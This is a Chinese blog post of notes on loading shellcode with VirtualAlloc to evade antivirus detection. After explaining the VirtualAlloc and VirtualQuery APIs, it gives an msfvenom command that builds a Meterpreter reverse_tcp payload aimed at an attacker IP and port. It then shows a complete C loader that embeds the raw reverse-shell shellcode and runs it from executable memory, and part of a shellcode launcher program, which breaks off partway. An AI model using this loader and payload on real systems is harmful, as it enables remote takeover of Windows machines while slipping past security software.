VirtualAlloc加载shellcode免杀一点记录

一个很好的学习网站 推荐一下:

https://docs.microsoft.com/zh-cn/windows/win32/api/

 

 

0x01 VirtualAlloc

VirtualAlloc:

在虚拟地址空间中预定一块内存区域;

VirtualAlloc是Windows提供的API,通常用来分配大块的内存。

PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect)

VirtualAlloc (PVOID 开始地址,SIZE_T 大小,DWORD 类型,DWORD 保护属性)

 

 

VirtualQuery
SIZE_T WINAPI VirtualQuery(
_In_opt_ LPCVOID                   lpAddress,
_Out_    PMEMORY_BASIC_INFORMATION lpBuffer,
_In_     SIZE_T                    dwLength
);

 

 

 

#include "stdafx.h"
#include "Windows.h"
#include "iostream"
using namespace std;
 
int _tmain(int argc, _TCHAR* argv[])
{
    //申请内存区域
    BYTE* pByte = (BYTE*)VirtualAlloc(NULL,64 * 1024,MEM_RESERVE,PAGE_READWRITE);
    if (pByte != NULL)
    {
        cout<<"申请内存成功!"<<endl;
    }
    MEMORY_BASIC_INFORMATION mbi;
    DWORD dwNumByte = VirtualQuery(pByte,&mbi,sizeof(mbi));
    cout<<"BaseAddress "<<mbi.BaseAddress<<endl;
    cout<<"AllocationBase "<<mbi.AllocationBase<<endl;
    cout<<mbi.AllocationProtect<<endl;
    if (mbi.State == MEM_COMMIT)
    {
        ZeroMemory(pByte,64 * 1024);
        memcpy(pByte,_T("分配虚拟内存成功-1"),sizeof(_T("分配虚拟内存成功-1")));
        cout<<pByte<<endl;
    }
    else
    {
        VirtualAlloc(pByte,64 * 1024,MEM_COMMIT,PAGE_READWRITE);
        cout<<"调拨物理存储器成功!"<<endl;
    }
    ZeroMemory(pByte,64 * 1024);
    memcpy(pByte,_T("分配虚拟内存成功-2"),sizeof(_T("分配虚拟内存成功-2")));
    cout<<pByte<<endl;
    VirtualFree(pByte,0,MEM_RELEASE);
    system("pause");
    return 0;
}

 

 

 

 

 

MEMORY_BASIC_INFORMATION结构
包含有关进程的虚拟地址空间中的页面范围的信息。该 VirtualQuery来和 VirtualQueryEx函数使用这种结构。

句法
typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

BaseAddress

A pointer to the base address of the region of pages.

AllocationBase

A pointer to the base address of a range of pages allocated by the VirtualAlloc function. The page pointed to by the BaseAddressmember is contained within this allocation range.

AllocationProtect

The memory protection option when the region was initially allocated. This member can be one of the memory protection constantsor 0 if the caller does not have access.

RegionSize

The size of the region beginning at the base address in which all pages have identical attributes, in bytes.

State

The state of the pages in the region. This member can be one of the following values.

 

 

 

 

 

 

 

0x02 shellcode Bypass

 

 

msf   c shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c

 

 demo1:

#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv){
    char ShellCode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x11\x8d"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
           
    
    void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
    return 0;
}
shellcode_launcher:
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <Windows.h>

#define EXTRA_SPACE     0x10000
#define MAX_REG_NAME_SIZE 4

#define REG_EAX         0
#define REG_EBX         1
#define REG_ECX         2
#define REG_EDX         3
#define REG_EDI         4
#define REG_ESI         5

#define REG_MAX         6       

#define MAX_OPEN_FILES  10

char* regNames[] = {
    "eax",
    "ebx",
    "ecx",
    "edx",
    "edi",
    "esi"
};

#define NUM_REGISTERS   6

typedef void(*void_func_ptr)(void);

unsigned char callNext[] = {
    0xe8, 0x00, 0x00, 0x00, 0x00,       //call  $+5
};

#if 0
unsigned char callPopEdi[] = {
    0xe8, 0x00, 0x00, 0x00, 0x00,       //call  $+5
    0x5f                                //pop   edi
};
#endif

unsigned char popRegInstr[] = {
    0x58,                           //eax
    0x5b,                           //ebx
    0x59,                           //ecx
    0x5a,                           //edx
    0x5f,                           //edi
    0x5e                            //esi
};

#if 0
unsigned char addEdiImmediate[] = {
    0x81, 0xc7                          // add edi, <32-bit immediate>
};
#endif

unsigned char addRegImmediate[][2] = {
    { 0x81, 0xc0 }, //add eax, 0x11223344: 81c0  44332211
    { 0x81, 0xc3 }, //add ebx, 0x11223344: 81c3  44332211
    { 0x81, 0xc1 }, //add ecx, 0x11223344: 81c1  44332211
    { 0x81, 0xc2 }, //add edx, 0x11223344: 81c2  44332211
    { 0x81, 0xc6 }, //add esi, 0x11223344: 81c6  44332211
    { 0x81, 0xc7 }, //add edi, 0x11223344: 81c7  44332211
};

unsigned char jmp32bitOffset[] = {
    0xe9                                // jmp <32-bit immediate_offset>
};

unsigned char breakpoint[] = {
    0xcc                                // int3
};

struct FileInfo {
    int     index;
    char*   names[MAX_OPEN_FILES];
    HANDLE  handles[MAX_OPEN_FILES];
};

struct ConfigurationData {
    int             doBp;
    DWORD           startOff;
    DWORD            baseAddress;
    char*           shellcodeFilename;
    DWORD           shellcodeSize;
    int             setRegStart[NUM_REGISTERS];
    int             setRegEnd[NUM_REGISTERS];
    struct FileInfo readFiles;
    struct FileInfo writeFiles;
    struct FileInfo readWriteFiles;
    struct FileInfo loadedLibraries;
};

void usage(void) {
    printf("Usage: shellcode_launcher.exe\n");
    printf("shellcode_launcher.exe -i <shellcode_filename> -o <offset> -ba <base_address> [-bp] [-r <in_filename>]\n   [-w <in_filename>] [-L <lib_name] [-<reg>][+<reg>]\n");
    printf("  <shellcode_filename> is the binary containing the shellcode to execute\n");
    printf("  <offset> is the (decimal) offset into the shellcode to start executing\n");
    printf("  <base_address> is your preferred base address to insert the shellcode (i.e. 0xFD0000\n");
    printf("  <in_filename> is an additional file to open, either readonly (-r) \n");
    printf("     or writeable (-w), such as for a malicious PDF the shellcode\n");
    printf("     requires an open handle for\n");
    printf("  -<reg>: load register <reg> with a pointer to the start of the shellcode\n");
    printf("  +<reg>: load register <reg> with a pointer to the end of the shellcode\n");
    printf("  -bp: add a breakpoint prior to jumping into the shellcode\n");
    printf("  -L <lib_name>: Load library <libname> during initialization\n");
}


int isStrEqual(const char *s1, const char*s2) {
    return (0 == strncmp(s1, s2, strlen(s2)));
}

void checkExtraArgument(int argc, int currI, char* argFlag) {
    if((currI+1) >= argc) {
        printf("Missing argument to %s", argFlag);
        usage();
        exit(1);
    }
}


int isRegisterCommand(const char *source, char plusMinus) {
    char localSource[MAX_REG_NAME_SIZE];
    unsigned int i;
    if(!source) {
        return -1;
    }
    if(source[0] != plusMinus) {
        return -1;
    }
    size_t len = strlen(source);
    if(len > MAX_REG_NAME_SIZE) {
        return -1;
    }
    memset(localSource, 0, sizeof(localSource));
    for(i=0; i<len; i+=1) {
        localSource[i] = (char)tolower(source[i+1]);
    }
    for(i=0; i<REG_MAX; i++) {
        //if(isStrEqual(localSource, regNames[i])) {
        if(!strcmp(localSource, regNames[i])) {
            //found a match, return the current reg index
            return i;
        }
    }
    //if got here, no matches
    return -1;
}

// Returns -1 on error, else 0 on success
int doLoadLibraries(struct ConfigurationData* config) {
    int i;
    for(i=0; i<config->loadedLibraries.index; i++) {

        printf("Trying to LoadLibrary: %s\n", config->loadedLibraries.names[i]);
        HMODULE libHandle = LoadLibrary(config->loadedLibraries.names[i]);
        if(libHandle == NULL) {
            printf("Error loading library %s: 0x%08\n", config->loadedLibraries.names[i], GetLastError());
            return -1;
        }
        config->loadedLibraries.handles[i] = libHandle;
    }
    return 0;
}

int doCreateFiles(struct ConfigurationData* config) {
    int i;
    //open read-only files
    for(i=0; i<config->readFiles.index; i++) {
        HANDLE inFile = INVALID_HANDLE_VALUE;
        printf("Opening readable file: %s\n", config->readFiles.names[i]);
        inFile = CreateFile(config->readFiles.names[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (inFile == INVALID_HANDLE_VALUE) {
            printf("Couldn't open file %s: %08x\n", config->readFiles.names[i], GetLastError());
            return 1;
        }
        config->readFiles.handles[i] = inFile;
    }
return 0;
}

 

 

mingw32编的有点问题 vs编的

 

 

 

 

 

 

 

 

 

 

 

posted @ 2019-11-13 06:47  卿先生  阅读(2788)  评论(2编辑  收藏  举报